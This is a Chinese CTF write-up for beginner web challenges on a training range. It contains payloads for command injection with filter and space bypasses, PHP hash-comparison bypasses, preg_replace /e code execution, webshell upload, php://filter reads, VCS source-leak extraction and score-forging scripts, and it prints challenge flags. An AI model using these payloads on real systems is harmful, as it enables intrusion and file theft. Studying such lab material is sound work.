青岑web入门学习wp

靶场介绍:

最近我等于刷到一个新靶场挺好玩的

新搭建的,对新手很友好,这里推荐给大家

https://ctf.qingcen.net/

还可以加入群聊和师傅们一起交流,进步

快哉,快哉

本篇博客的知识点来源ai or 大佬的博客(我会放链接的)

ai成分高,望大家原谅

1、basic:

总结:先看源码和抓包,再找注入点和逻辑问题,最后构造 payload 拿 flag。多做题、多总结,就能形成自己的做题节奏。

直接f12得到flag:

flag{56abffc9-f44f-4c90-a8a4-9fc66954ebfb}

2、BASIC_1

我们查看f12发现被封了

一样查看源码得到flag:

flag{b997595d-f02c-4f3b-857b-c22433293d3e} 

3、basic_2

抓取提交的包

发现无论提交什么内容is_admin一直为0

修改is_admin

得到flag

4、basic_3

查看源码

放到控制台运行,得到密码

得到flag

5、basic_4

继续看源码

var _0 = [81, 67, 67, 84, 70, 95, 86, 73, 80, 95, 50, 48, 50, 54];

就是邀请码

我们需要把_0转换成字符串得到

QCCTF_VIP_2026

得到flag

basic_5

直接看源码逻辑发现

积分(currentScore)的计算完全是在前端(浏览器里)进行的。服务器并不知道你到底答了几道题,它只看你最后点击“领取奖励”时发送过去的 score 是多少。

虽然提交时调用了 encryptData{ score: currentScore } 进行了加密(本质上是 Base64 编码 + URL 编码),并且服务器返回的数据也用同样的方式加密了,但加密和解密函数都在前端代码里,并且是全局可见的

// 直接调用页面原本的加密函数,伪造 1000 积分发送给后端 fetch('/claim', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ data: encryptData({ score: 1000 }) }), }) .then(res => res.json()) .then(res => { if (res.data) { // 调用页面原本的解密函数查看结果 const result = decryptData(res.data); console.log("🎉 成功拿到 Flag: ", result); alert("Flag是: \n" + result.flag); } else { console.log("❌ 请求失败或未返回数据: ", res); } }) .catch(err => console.error("发生错误: ", err));

得到flag

或者使用自动做题脚本

// 设置一个定时器,每隔 50 毫秒执行一次答题循环 let autoAnswerInterval = setInterval(function() { // 1. 获取当前分数 let currentScore = parseInt(document.getElementById('score-num').innerText); // 2. 判断是否达到 1000 分 if (currentScore >= 1000) { clearInterval(autoAnswerInterval); // 停止定时器 console.log("🎉 分数已达到 1000!正在自动点击领取奖励..."); document.getElementById('claim-btn').click(); // 触发领取按钮 return; } // 3. 读取屏幕上的题目 (例如:"13 - 11 = ?") let questionText = document.getElementById('question-text').innerText; // 4. 提取算式并计算 (去掉末尾的 " = ?") let mathExpression = questionText.replace(' = ?', ''); let answer = eval(mathExpression); // 5. 将计算出的答案填入输入框 document.getElementById('answer-input').value = answer; // 6. 点击提交按钮 document.getElementById('submit-answer-btn').click(); // 控制台打印进度(可选,如果嫌吵可以删掉这一行) console.log(`当前进度: ${currentScore}/1000 | 刚刚解答: ${questionText.replace('?', answer)}`); }, 50); // 50毫秒答一题,大约50秒就能答完1000题。如果觉得太快或卡顿,可以把 50 改成 100 或 200。
import requests import json import base64 # 替换成你当前的实际题目地址和端口 TARGET_URL = "http://docker.qingcen.net:38964/claim" def get_flag(): # 1. 构造我们需要伪造的满分数据 payload = {"score": 1000} # 2. 将字典转换为紧凑的 JSON 字符串 (类似前端的 JSON.stringify) json_str = json.dumps(payload, separators=(',', ':')) # 3. 模拟前端的加密逻辑:btoa(unescape(encodeURIComponent(jsonString))) # 在 Python 中,直接将字符串转为 utf-8 字节流,然后进行 base64 编码即可完美等效! encrypted_bytes = base64.b64encode(json_str.encode('utf-8')) encrypted_data = encrypted_bytes.decode('utf-8') print(f"[*] 正在发送伪造的 1000 分请求...\n[*] 加密 payload: {encrypted_data}") # 4. 发送 POST 请求给后端 headers = {'Content-Type': 'application/json'} data = {"data": encrypted_data} try: response = requests.post(TARGET_URL, headers=headers, json=data) res_json = response.json() # 5. 模拟前端的解密逻辑并提取 Flag if "data" in res_json: # 对应前端的 decryptData(encodedString) dec_bytes = base64.b64decode(res_json["data"]) dec_str = dec_bytes.decode('utf-8') result = json.loads(dec_str) if "flag" in result: print("\n🎉 成功拿到 Flag!") print("-" * 30) print(result["flag"]) print("-" * 30) else: print(f"[-] 未找到 Flag,服务器返回: {result}") else: print(f"[-] 请求失败或服务器返回异常: {res_json}") except Exception as e: print(f"[-] 发生错误: {e}") if __name__ == "__main__": get_flag()

EZ_PHP

要求是a能通过if的判断,而且要等于0

b要求不是数字而且需要大于2026

/?a=abc&b=3333as

得到flag

ezphp_1

思路很清晰,我们 需要get方法来传入qc,把我传入的 JSON 字符串解析成 PHP 数组

在数组中寻找 "QCCTF" 这个值,并返回它的键名 (索引),然后索引需要是1

JSON 字符串本质上就是一个符合特定语法规则的普通字符串。它的核心规则非常简单,主要由以下几种结构组成:

1. 基本语法规则

  • 数据在名称/值对中:也就是键值对(Key-Value pairs)。
  • 数据由逗号 , 分隔
  • 大括号 {} 保存对象(Object)
  • 中括号 [] 保存数组(Array)
  • 双引号 "":在 JSON 中,所有的键名(Key)和字符串类型的值(Value)都必须使用双引号,绝对不能使用单引号。

2. JSON 支持的数据类型(值)

JSON 的值(Value)只能是以下几种数据类型:

  • 字符串 (String):必须用双引号括起来,如 "hello"
  • 数字 (Number):整数或浮点数,如 1233.14
  • 对象 (Object):用 {} 括起来的键值对集合。
  • 数组 (Array):用 [] 括起来的有序值集合。
  • 布尔值 (Boolean)truefalse(不要加引号)。
  • 空值 (Null)null(不要加引号)。

ezphp_2

在 PHP 中,任何非空字符串跟布尔值 true 进行弱比较时,结果都是相等的(即 "QCyyds" == true 会判定为真)。但是,它们在强类型比较时是绝对不相等的(字符串不等于布尔值)

<?php show_source(__FILE__); // 在页面上显示这行代码本身 include("flag.php"); // 引入包含真实 flag 的文件,此时 $flag 变量已被赋值 // 【关卡 1】检查参数是否存在 if (!isset($_GET['qc']) || $_GET['qc'] === '') exit("no"); // 解释:通过 GET 请求获取名为 'qc' 的参数。如果没传这个参数,或者传了空值,就退出并输出 "no"。 // 【数据处理】解析 JSON 并强制转为数组 $qc = (array)json_decode($_GET['qc'], true); // 解释:把你传进来的 'qc' 参数当做 JSON 字符串来解析,转成 PHP 的数组赋值给 $qc。 // 【关卡 2】寻找 "QCCTF" if (array_search("QCCTF", $qc) === false) die("no..."); // 解释:在 $qc 这个数组的第一层里找,必须包含 "QCCTF" 这个字符串。找不到就死掉并输出 "no..."。 // 【关卡 3】寻找 "QCyyds"(关键漏洞点) if (array_search("QCyyds", $qc["n"]) === false) die("no..."); // 解释:在 $qc 数组里面,必须有一个键名为 "n" 的子数组。在这个子数组里,必须能找到 "QCyyds"。找不到就输出 "no..."。 // 【关卡 4】遍历检查(死胡同?) foreach ($qc["n"] as $val) { if ($val === "QCyyds") die("no......"); } // 解释:把 $qc["n"] 里的元素挨个拿出来检查,如果遇到哪个元素**完全等于** "QCyyds",就死掉并输出 "no......"。 echo $flag; // 如果以上所有关卡都通过,输出 Flag!

在 PHP 的 json_decode 函数中,第二个参数 true 是一个非常关键的设置。

它的作用是:强制将解析后的 JSON 数据转换成 PHP 的“关联数组(Associative Array)”,而不是“PHP 对象(Object)”。

1. 如果加上 true(题目中的情况)

PHP

$result = json_decode('{"name": "QCCTF", "score": 100}', true); 

这时候,PHP 会把它变成一个数组。 你要获取里面的值,必须使用数组的语法(中括号)

  • 获取名字:$result['name']
  • 获取分数:$result['score']

2. 如果不加 true(默认情况)

PHP

$result = json_decode('{"name": "QCCTF", "score": 100}'); 

这时候,PHP 会把它变成一个 stdClass 对象。 你要获取里面的值,必须使用对象的语法(箭头)

  • 获取名字:$result->name
  • 获取分数:$result->score
http://docker.qingcen.net:38987/?qc={%22A%22:%22QCCTF%22,%22n%22:[true]}

得到flag

ezmd5_1:

http://docker.qingcen.net:39005/?a=QNKCDZO&b=s214587387a

就是两个传入的数不能相同,但是md5值需要相同

ezmd5_2

/?a[]=2323&b[]=43

要求就是a和b的值不相等

但是MD5的值必须相等

数组绕过的特点:

报错并返回 NULL:因为 md5() 无法处理数组,它会抛出一个 Warning(警告),正如截图下方显示的:Warning: md5() expects parameter 1 to be string, array given...。最关键的是,报错后它会返回 NULL

ezmd5_3

像上一题一样用数组,不多解释了

注意这个就行了

强类型比较绝对不会自动转换数据类型(不会把它当成科学计数法)。它要求等号两边的值不仅类型要一样,内容必须一个字符不差地完全一样

  • md5('QNKCDZO') = "0e830400451993494058024219903391"
  • md5('240610708') = "0e462097431906509019562988736854"

因此我们用数组进行绕过

ezmd5_4

从倒数第 6 个字符开始,截取 6 个字符是d54e23

这种需要找特定 MD5 尾部(或头部)的题型,在 CTF 中非常常见,通常被称为工作量证明(PoW, Proof of Work)

因为 MD5 算法是不可逆的,我们只能用“暴力穷举”的方式,不断生成新的字符串去试,直到碰巧撞上最后 6 位是 d54e23 的那个。

import hashlib # 题目要求的尾部特征 target_suffix = 'd54e23' print(f"[*] 开始爆破,寻找 MD5 最后 6 位为 {target_suffix} 的字符串...") # 使用数字作为基础进行遍历,速度最快 i = 0 while True: # 将数字转换成字符串 test_str = str(i) # 计算 MD5 (注意要把字符串 encode 成 bytes 才能算) md5_hash = hashlib.md5(test_str.encode('utf-8')).hexdigest() # 截取最后 6 位进行比对 if md5_hash[-6:] == target_suffix: print(f"\n[+] 爆破成功!") print(f"[-] 满足条件的字符串 ($qc): {test_str}") print(f"[-] 它的完整 MD5 值为: {md5_hash}") break i += 1

ezmd5

因为是等于的弱判断,我们只要找一个md5的值为0的科学计数法的就行

http://docker.qingcen.net:39013/?QC=26120

得到flag

ezmd5_5:md5? sha1!!!


SHA-1 (Secure Hash Algorithm 1) 是一种跟 MD5 非常类似的密码散列函数(哈希算法)

简单来说,它的作用和 MD5 一样:你给它一段字符串,它经过复杂的数学运算后,吐出一串固定长度的乱码(SHA-1 输出的是 40 位的十六进制字符,而 MD5 是 32 位)。它同样具有不可逆的特性。

所以这道题我们可以使用数组,也可以使用魔术字符串

这里我直接提供两个经典的 SHA-1 魔术哈希字符串

  • 字符串1:aaroZmOk (它的 SHA-1 是 0e66507019969427134894567494305185566735
  • 字符串2:aaK1STfY (它的 SHA-1 是 0e76658526655756207688271159624026011393

ezmd5_6

因为数组直接报null所以我们还可以使用数组直接得到flag

/?a[]=12&b[]=2

ezsql_3

ezcmd

代码用了 escapeshellcmd() 来过滤你传入的 POST 参数。这个函数会转义 &, ;, | 等符号,所以你不能用它们来执行多条命令(比如 ls;cat flag)。

我们先查看根目录

发现有flag

于是查看flag,得到flag

ezcmd_1

我们首先分析php代码:其意思是帮助我们ping一个地址5次(我们传入的cmd值)

但是我们可以注意到,并没有任何绕过

这里没有任何过滤函数(没有 escapeshellcmd,也没有其他替换逻辑)。它就是简单粗暴地把你输入的 $cmd 拼在 ping -c 5 后面,然后交给系统执行!

怎么绕过?

在 Linux 系统中,有一条神级的规则:我们可以用特殊符号把多条命令串在一行里执行。 最常用的符号就是分号; (还有&&||)。

于是我们先看一下根目录的文件有哪些

可以看到flag,之后cat得到flag

ezcmd_2

system($cmd." >/dev/null 2>&1");

不难发现重点就在这里

后面的 >/dev/null 2>&1 是 Linux 里的重定向符。它的意思是:把这条命令产生的所有正常输出(1)和报错信息(2),统统扔进 /dev/null 这个系统的“无底洞”垃圾桶里

即  无回显 (Blind)

只要明白这个代码的作用这个题目也就简单了

我们只需要加个分号,使得传入的cmd后面的代码无效,也就解决了这个问题

  • ; 是命令分隔符。
  • # 是单行注释的符号。

这样思路和前面就一样了,找到flag的位置,然后cat直接读取flag

ezcmd_3

我们的重点代码不难看出就是

if (strpos($cmd, ' ') !== false) { die('no space allowed'); }

意思就是我们不能使用空格

使用重定向符 <(最简单,专门用来读文件)

在 Linux 中,你可以用 <文件内容输入给命令,这就巧妙地避开了空格。

  • 正常写法:cat /flag
  • 无空格写法:cat</flag

使用系统内置变量 $IFS(万能空格替代品)

$IFS(Internal Field Separator)是 Linux 系统的一个内置环境变量,它的默认值正好就是空格、制表符和换行符。只要在命令里写上它,系统执行时就会自动把它变成空格。

  • 正常写法:ls /cat /flag
  • 无空格写法:ls$IFS/cat${IFS}/flag(加 {} 是为了防止变量名和后面的字母粘连起冲突)
  • 只要是带参数的命令(比如 ls /): 只能用 $IFS 替代空格,例如 ls$IFS/
  • 如果是读取文件内容的命令(比如 cat /flag): 既可以用 $IFScat$IFS/flag),也可以用 < 输入重定向(cat</flag)。
  • < 的限制< 只能用来读取“文件”(File),不能用来读取“目录”(Directory)。/ 是个目录,所以 Shell 连第一步打开它都做不到,直接报错了。

但是在cat的时候你会发现什么反应都没有

别怀疑自己,你的 Payload cmd=cat$IFS/flag;cmd=cat</flag; 都是完全正确的!

下面是错误分析,可能是我插件出问题了,但是也是知识点就放在这了

可以直接到后面看flag

出题人把 cat 命令给删了(或禁用了)

当你执行 cat /flag 时,因为 cat 不存在,Linux 系统其实是报错了的(类似 sh: cat: command not found)。

但是! Linux 的输出分为“标准输出 (stdout)”和“标准错误 (stderr)”。

系统的报错信息默认走的是“标准错误”通道

而 PHP 的 system() 函数只负责把“标准输出”的内容打印到网页上

结果就是:报错信息被系统截留了,网页上什么也抓取不到,看起来就像是没有任何反应。

more / less:本来是用来分页看长文件的,但小文件它也会直接打印出来。

cmd=more$IFS/flag;cmd=more</flag;

tail:默认读取文件的最后 10 行。

cmd=tail$IFS/flag;cmd=tail</flag;

head:默认读取文件的前 10 行。

cmd=head$IFS/flag;cmd=head</flag;

nl:读取文件,并顺便给每行加上行号。

cmd=nl$IFS/flag;cmd=nl</flag;

taccat 的反向命令,把文件从最后一行倒着打印出来。(最常用、成功率最高的替代品!

cmd=tac$IFS/flag;cmd=tac</flag;

ezcmd_4

我的评价是一点都不可爱,很丑,很讨厌,吓我一跳

网页名字算是个提示,robots

成功到达

  • 使用 escapeshellcmd() 对输入进行转义。escapeshellcmd() 会在绝大多数 shell 特殊字符(如 $, \, ', ", ;, | 等)前面加上反斜杠 \ 强行转义
  • 使用 preg_match() 对转义后的字符串进行黑名单校验(忽略大小写 /i)。
  • 如果没有匹配到黑名单内容,则执行 system()

既然我们无法读取带有 flag 关键字的文件,那我们就直接打印系统当前的所有环境变量。

  • env 被过滤了。
  • printenv 包含了 env,也被过滤了。
  • 但是,exportset 这两个可以打印环境变量的命令,

好吧,环境变量里面没有flag,那说明flag还是藏在flag那个目录下

  • 过正则: 字符串是 eval a=fl;b=ag;dd if=/$a$b,里面没有出现 flag,也没有触发任何被 ban 的读文件命令。
  • 过转义: 经过 escapeshellcmd() 处理后,它变成了 eval a=fl\;b=ag\;dd if=/\$a\$b
  • 二次解析: bash 把这串字符丢给 eval 执行。eval 会去掉多余的转义符重新解析,最终实际执行的命令变回了完美的 a=fl; b=ag; dd if=/$a$b
  • 拿 Flag:dd 命令执行,将 /flag 的内容原封不动地输出在网页上。
  • eval:Bash 的内置命令。它的作用是接收后面的参数,把它们组合成一个字符串,然后再把这个字符串当做真正的 Shell 命令执行一次
  • a=fl;b=ag;:变量赋值。我们把敏感词 flag 拆成了两半,分别赋值给变量 ab。这样就完美绕过了正则中对 flag 关键字的拦截。
  • dd if=/$a$b:读取文件。dd 是 Linux 下的一个强大的数据复制和转换工具,这里利用 if=(input file)参数来指定输入文件。/$a$b 拼接后其实就是 /flag

ezcmd_5

?何意味?

字母都不让我用了

可以使用 $'\NNN' 的格式来表示一个字符,其中 NNN 是该字符的八进制 ASCII 码。 比如:c 的八进制是 143a141t164。 所以 $'\143\141\164' 在 Shell 眼里,就等于 cat

cmd=$'\143\141\164' $'\057\146\154\141\147\056\164\170\164'

ezcmd_6

我们首先打印出当前目录下文件

cat得到flag

ezcmd_7

GET方法,qc传入的值不能是flag

  • error_reporting(0);关闭 PHP 错误报告。这在 CTF 中很常见,目的是不让页面报出详细的错误信息,增加盲猜的难度。
  • if(isset($_GET['qc'])){ 检查 URL 中是否通过 GET 方法传入了名为 qc 的参数。比如你的 URL 长这样:http://.../?qc=xxx
  • $qc = $_GET['qc']; 将传入的参数值赋给变量 $qc
  • if(!preg_match("/flag/i", $qc)){这是本题的核心考点(黑名单过滤)。preg_match 是 PHP 的正则匹配函数。
    • /flag/i 匹配字符串 "flag"。
    • 后面的 i 表示大小写不敏感。也就是它会拦截 flag, FLAG, FlAg, fLaG 等所有大小写组合。
    • 前面的 ! 代表。所以这句代码的意思是:如果传入的 $qc不包含 "flag" 这个词(忽略大小写),才进入下一步。
  • eval($qc);漏洞触发点。 如果绕过了上面的过滤,这里就会把你传入的 $qc 字符串当作 PHP 代码直接执行

只要能看懂就很容易了,我们直接用*绕过,得到flag

ezcmd_8

这个就是把system给禁止了

既然不能用 system(),PHP 还有很多其他的系统命令执行函数,比如 passthru(), exec(), shell_exec() 或者是反引号 `

得到flag

ezcmd_9

又过滤了空格,我直接复制ai了

招式一:使用 PHP 原生函数(最优雅、最推荐)

不要忘了,你输入的内容是交给 eval() 当作 PHP 代码 来执行的。谁说一定要调用 Linux 系统命令去读文件呢?PHP 本身就自带了读取文件的函数,而调用这些函数是不需要空格的

  • Payload 1:?qc=show_source('flag');
  • Payload 2:?qc=readfile('flag');
  • 原理: 这两个都是 PHP 内置的读取文件并输出的函数。整个字符串里既没有 system,也没有空格,完美绕过正则!

招式二:继续使用“参数偷渡”大法(最万能)

我们上一题用过的方法在这里依然管用!因为正则过滤只针对 $_GET['qc'],不检查其他参数。我们只要保证 qc 里面没有空格和 system 即可。

  • Payload:?qc=eval($_GET['x']);&x=passthru('cat flag');
  • 原理:
    1. 你传给 qc 的是 eval($_GET['x']);。仔细看,这串代码里没有任何空格,也没有 system!顺利过关。
    2. 接下来 eval 去执行时,会抓取参数 x 的值。
    3. 参数 x 里的 passthru('cat flag'); 包含空格,但它并没有经过正则的检查,所以被成功执行。(注:这里用 passthruexec 替代了被禁用的 system)

招式三:利用 Linux 系统的空格替代符(进阶姿势)

如果你非要执着于执行系统命令,在 Linux 中其实有很多字符可以用来代替空格。最常见的是利用 ${IFS} (内部字段分隔符) 或者 < (输入重定向)。

  • Payload 1 (使用 ${IFS}):?qc=passthru('cat${IFS}flag');
  • Payload 2 (使用重定向 <):?qc=passthru('cat<flag');
  • 原理: 在 Linux 解释命令时,${IFS} 会被当作空格处理,< 会把 flag 文件的内容重定向给 cat 命令。这样我们在 PHP 层面就没有输入真正的空格字符,从而绕过了正则。

我尝试了前两个都没用,三才有用(这里才说是以为我不想一个人尝试浪费时间哈哈哈哈哈哈哈)

得到flag

ezcmd_10

这次题目把分号给过滤掉了

但是我们可以用?>对吧,毕竟它在php的最后

这里是flag.txt,所以我们直接用readfile就可以得出了,system也可以

ezcmd_11

鬼知道flag.php在哪,我们既然知道是flag.php文件,直接highlight

ezcmd_12函数套娃法

既然特殊符号都不能用了,那我们就使用函数套娃法

我们需要完成以下逻辑链条:

  1. 获取当前目录路径: 使用 getcwd() 函数,它会返回当前工作目录(比如 /var/www/html)。
  2. 读取目录里的文件列表: 使用 scandir() 函数。scandir(getcwd()) 会返回一个数组,里面包含了当前目录下的所有文件:['.', '..', 'flag.php', 'index.php']
  3. 提取出 flag.php 数组有了,怎么把 flag.php 单独取出来喂给读取函数呢?
    • 因为严格的 PHP 语法限制,很多提取数组元素的函数(比如 next()end())需要传入变量引用,直接嵌套会报错。
    • 终极黑科技: 我们先用 array_flip() 把数组的键和值反转,让文件名变成键名;然后再用 array_rand()随机抽取一个键名!
  4. 高亮显示文件: 最后套上我们熟悉的 show_source()

在 PHP 的官方设定里,show_source()highlight_file()完全等价的别名关系。它们的作用一模一样:都是把文件内容读取出来,并加上 HTML 语法高亮输出到网页上。

ezcmd_13

这是一道非常经典的 preg_replace 函数 /e 修饰符代码执行漏洞

在 PHP(5.5.0 以下版本)中,preg_replace/e 修饰符有一个极其危险的特性:它会把替换后的字符串作为 PHP 代码来执行。

我们先来详细分析一下这个php代码:

  • 三元运算符 (? :):前两行是在通过 GET 方式(也就是 URL 地址栏)获取你传过去的两个参数 restrisset() 是检查参数存不存在。翻译成大白话就是:“如果你在网址里传了 re,我就把它存进变量 $re 里;如果你没传,我就给它塞一个空字符串 ''。”对于 $str 同理。
  • 安全检查(if 语句):接着判断,如果 $re 或者 $str 任何一个是空的,就执行 highlight_file(__FILE__) 把当前页面的源代码打印出来给你看,然后 exit 退出程序。
  • 结论:这就是为什么你一打开网页,什么都不输入的时候,页面上会显示这些代码的原因。这也是在告诉你:必须要同时提供 restr 两个参数才能继续往下走。

/e 修饰符就藏在 preg_replace 的第一个参数里! 我们把第一个参数拼接一下看得更清楚:'/(' . $re . ')/ei'

  • 在正则表达式中,最外层的两个斜杠 //定界符,用来把正则规则包裹起来。
  • 斜杠中间的 (' . $re . ')匹配规则,它会把你传入的 $re 参数拼接到这里。
  • 定界符后面的字母就是修饰符:这里的 ei 就是修饰符。i 代表忽略大小写,而 e 就是传说中万恶之源的 eval(执行)修饰符!

preg_replace(规则, 替换成什么, 目标字符串) 这个函数原本的作用是:在“目标字符串”中寻找符合“规则”的部分,并把它“替换”掉。

结合这段代码,它的逻辑是: 在字符串 $str 中,寻找符合正则 $re 的内容,找到之后,把它放到第二个参数 'strtolower("\\1")' 里面替换掉(\\1 代表正则匹配到的第一组内容),最后 echo 打印出来

存在 /e 修饰符。当 PHP 发现有 /e 时,它不会把第二个参数当成普通的文本替换,而是把它当成 PHP 代码去执行!

Payload 是怎么生效的? 假设我们按照之前的思路传入:?re=.*&str={${system('ls')}}

  1. 代码把参数代入,第一个参数变成了 /(.*)/ei.* 是通配符,意思是匹配一切内容。
  2. 第二个参数是 'strtolower("\\1")'
  3. 第三个参数是 {${system('ls')}}
  4. 匹配开始:正则 .* 成功匹配到了整个字符串 {${system('ls')}},所以 \\1 的值变成了 {${system('ls')}}
  5. 准备替换:第二个参数变成了 strtolower("{${system('ls')}}")
  6. 致命一击:因为有 /e 修饰符,PHP 会把这句 strtolower(...) 当作代码执行。而在 PHP 的双引号字符串中,如果遇到 ${} 或者 {${}} 这种复杂变量解析语法,PHP 引擎会先执行大括号里面的函数,获取它的返回值!
  7. 于是,system('ls') 就这样被无情地执行了。
  • PHP 扫描到了 {${ ... }} 结构。
  • PHP 的规则是:遇到这种结构,必须先执行大括号里面最深处的代码,用它的结果来当作变量名!

在 PHP 中,strtolower 的全称可以理解为 "string to lower"(字符串转小写)

preg_replace 使用 /e 修饰符时,PHP 为了防止某些注入问题,会在将匹配到的结果(即你的 \1)替换到代码字符串之前,自动对结果执行一次 addslashes() 函数addslashes() 会在单引号 (')、双引号 (")、反斜杠 (\) 和 NULL 字符前加上反斜杠进行转义

1. 以前为什么要加分号?(因为你在写“完整的句子”)

在正常的 PHP 代码或者 eval() 函数中,你输入的是一段完整的执行逻辑。 比如:system('ls'); 这就好比人类语言里的一个完整句子,分号 ; 就是句号。PHP 引擎看到分号,才知道:“哦,这行命令结束了,我去执行它。” 如果你写 eval("system('ls')")(不带分号),PHP 就会报错,因为它觉得你的话还没说完。

2. 为什么这里不能加分号?(因为你在写“填空题”)

回到我们现在的 Payload:strtolower("{${system($_GET[cmd])}}")

注意,system(...) 此时并不是作为一行独立的代码在运行,它是被包裹在双引号字符串的 {${ }} 结构里面的

PHP 对双引号里的 {${ }} 结构的解析规则是:

  • “请在括号里给我一个表达式(可以得出结果的短语),我会把它的结果当成变量名。”

在这个特定的结构里,PHP 期待的是一个“词”或“短语”(也就是函数调用的返回值),而不是一个“完整的句子”。

  • system($_GET[cmd]) 是一个表达式,它会去执行系统命令,并返回最后一行结果。这完全符合 PHP 的期待。
  • 如果你加上分号写成 {${system($_GET[cmd]);}},在 PHP 的字符串解析器看来,就相当于在填空题的格子里硬塞进了一个句号,这破坏了字符串变量解析的语法规则,PHP 解析器会直接不认识,抛出语法错误(Syntax Error)。

ezinfoleak

看到信息,base64解码

暴力穿越到根目录去找

得到flag

ezinfoleak_1

通过下面的显示可以看出,它吞掉了我们的../

于是我们写成....//,它吞掉我们中间的../我们前面和后面又拼成了../

ezinfoleak_2

ezinfoleak_4

dirsearch工具扫描一下

发现是.git 源码泄露漏洞

使用githack

GitHub - lijiejie/GitHack: A `.git` folder disclosure exploit · GitHub

得到flag

ezinfoleak_5

也是看烟花的页面

那估计思路还是差不多,先dirsearch扫描一下,感觉像.git泄露

然后发送个post请求就ok了(注意url后面把文件加上)

ezinfoleak_6

换成了管理系统的界面了,扫一下目录吧

发现是.svn 源码泄露

  • /.svn/entries (200 OK): 这是老版本 SVN 的特征文件,证明存在泄露。
  • /.svn/wc.db (200 OK, 120KB): 这是真正的“宝藏”。在较新版本的 SVN(1.7 及以上)中,wc.db 是一个 SQLite 数据库文件。它不仅记录了整个网站的目录结构、文件列表,其关联的目录中还直接包含了所有源代码的原始副本 (pristine copies)

如何使用 dvcs-ripper

dvcs-ripper 文件夹里有几个不同的脚本,对应不同的版本控制系统:

  • rip-git.pl:用于提取 .git 目录(最常用
  • rip-svn.pl:用于提取 .svn 目录
  • rip-hg.pl:用于提取 .hg (Mercurial) 目录
  • rip-bzr.pl:用于提取 .bzr (Bazaar) 目录

我们还原出了flag.php

ezinfoleak_7

Mercurial (hg) 和我们常听说的 Git 一样,都是一种版本控制系统,程序员用它来管理源代码的版本、提交记录和分支。

  • Git 生成的隐藏目录叫 .git/
  • Mercurial 生成的隐藏目录叫 .hg/

注意最后要加上 /.hg/

得到flag

ezinfoleak_8

查看源码

什么是 Vim 缓存文件泄露?

在 Linux 系统里,程序员经常使用 vim 这个命令行文本编辑器来写代码。 当 vim 打开一个文件(比如 flag.txt)时,为了防止电脑突然断电导致没保存,它会在同级目录下自动生成一个隐藏的临时备份文件(也叫交换文件 Swap file)

如果程序员是非正常退出 vim(比如直接关掉终端窗口,或者系统崩溃),这个隐藏的备份文件就会被遗留在服务器上。
对于文件 flag.txt,它的 Vim 缓存文件通常会被命名为: 👉 .flag.txt.swp

直接出flag

ezinfoleak_9

没思路,dirsearch跑一下看看吧

  • .DS_Store 是什么: 这是苹果 Mac 电脑系统特有的隐藏文件,用来记录文件夹的自定义属性。
  • 它为什么在这里: 说明写这个网站的程序员用的是 Mac 电脑,并且在把代码上传到服务器时,不小心把这个 Mac 自己生成的隐藏文件也传上去了
wget http://docker.qingcen.net:35334/.DS_Store

下载这个文件,然后用strings来读取

ezfu

上传文件,我们先上传一个get方法的一句话木马

之后通过get传参,打印环境(因为我看过根目录下没有线索了)

得到flag

ezfu_1

这个题目只能上传图片什么的,我们把我们的php文件改成jpg,然后抓包拦截

把文件后缀名改回php就行了,就能上传成功了

flag还是在环境中

ezfu_2

我们再上传刚刚的图片的时候,发现它这次检查内容了

我们在木马前加个gif的开头看看能不能骗过它

失败了

我们把后缀也改成gif发现可以上传成功,于是抓包

还是失败了

GIF 头伪造和欺骗 HTTP 数据包检查都失败了

我们尝试一下木马图

也失败了

那我们试试绕过吧

ezfl

在源码中得到线索

flag is in /flag.txt

得到flag

ezfl_1

?file=php://filter/read=convert.base64-encode/resource=flag.php
  • ?file=
    • 这是目标网页(比如你题目里的应用)接收输入的一个参数。后台代码可能使用了类似 include($_GET['file']); 的危险函数,并且没有对输入做严格过滤。
  • php://
    • 这是 PHP 提供的一个内置伪协议(Wrapper),用于访问各个输入/输出(I/O)流。
  • filter/
    • 这是 php:// 协议下的一个特定功能:数据流过滤器。它的作用是允许你在读取或写入数据流时,对数据进行处理(过滤或转换)。
  • read=
    • 指定接下来的过滤器将应用在读取操作上(即从目标文件中读取数据时)。
  • convert.base64-encode
    • 这是最核心的过滤器指令。它告诉 PHP 引擎:“请把你读取到的目标文件内容,先转换(编码)成 Base64 格式的字符串。”
  • /resource=
    • 语法上的分隔符,用来指示后面跟着的参数是要读取和过滤的目标对象路径
  • flag.php
    • 这就是你想读取的目标文件。

ezfl_2

?file=php://filter/convert.iconv.utf-8.utf-16/resource=flag.php

Read more

保姆级教程:用llama.cpp加载Qwen2.5-VL多模态模型(附常见错误解决)

保姆级教程:用llama.cpp加载Qwen2.5-VL多模态模型(附常见错误解决) 最近在本地跑多模态模型的需求越来越多了,尤其是像Qwen2.5-VL这种既能看懂图又能聊天的模型,对于想自己捣鼓点智能应用的朋友来说,吸引力不小。但说实话,从下载模型到真正跑起来,中间的路可不好走,尤其是用llama.cpp这个工具,版本兼容、环境配置、代码调用,每一步都可能遇到意想不到的坑。我自己在折腾Qwen2.5-VL-3B-Instruct的时候,就花了不少时间解决各种报错。这篇文章,我就把自己踩过的坑和总结出来的完整流程,掰开揉碎了讲给你听。无论你是刚接触本地大模型的初学者,还是想给项目集成多模态能力的中级开发者,跟着这篇教程走,应该能帮你省下不少搜索和调试的时间。我们的目标很简单:让你在自己的电脑上,顺利地用llama.cpp加载Qwen2.5-VL,并让它准确地“看懂”你给的图片。 1. 环境准备与模型获取 在动手写代码之前,有两件事必须搞定:一个是准备好能跑起来的llama.cpp环境,另一个是拿到正确且相互匹配的模型文件。很多人第一步就栽了跟头,要么环境装不上,要么模型文件不

AIGC时代大模型幻觉问题深度治理:技术体系、工程实践与未来演进

AIGC时代大模型幻觉问题深度治理:技术体系、工程实践与未来演进

文章目录 * 一、幻觉问题的多维度透视与产业冲击 * 1.1 幻觉现象的本质特征与量化评估 * 1.2 产业级影响案例分析 * 二、幻觉问题的根源性技术解剖 * 2.1 数据污染的复合效应 * 2.1.1 噪声数据类型学分析 * 2.1.2 数据清洗技术实现 * 2.2 模型架构的先天缺陷 * 2.2.1 注意力机制的局限性 * 2.2.2 解码策略的博弈分析 * 2.3 上下文处理的边界效应 * 三、多层次解决方案体系构建 * 3.1 数据治理体系升级 * 3.1.1 动态数据质量监控 * 3.1.2 领域知识图谱构建 * 3.

Trae、Cursor、Copilot、Windsurf对比

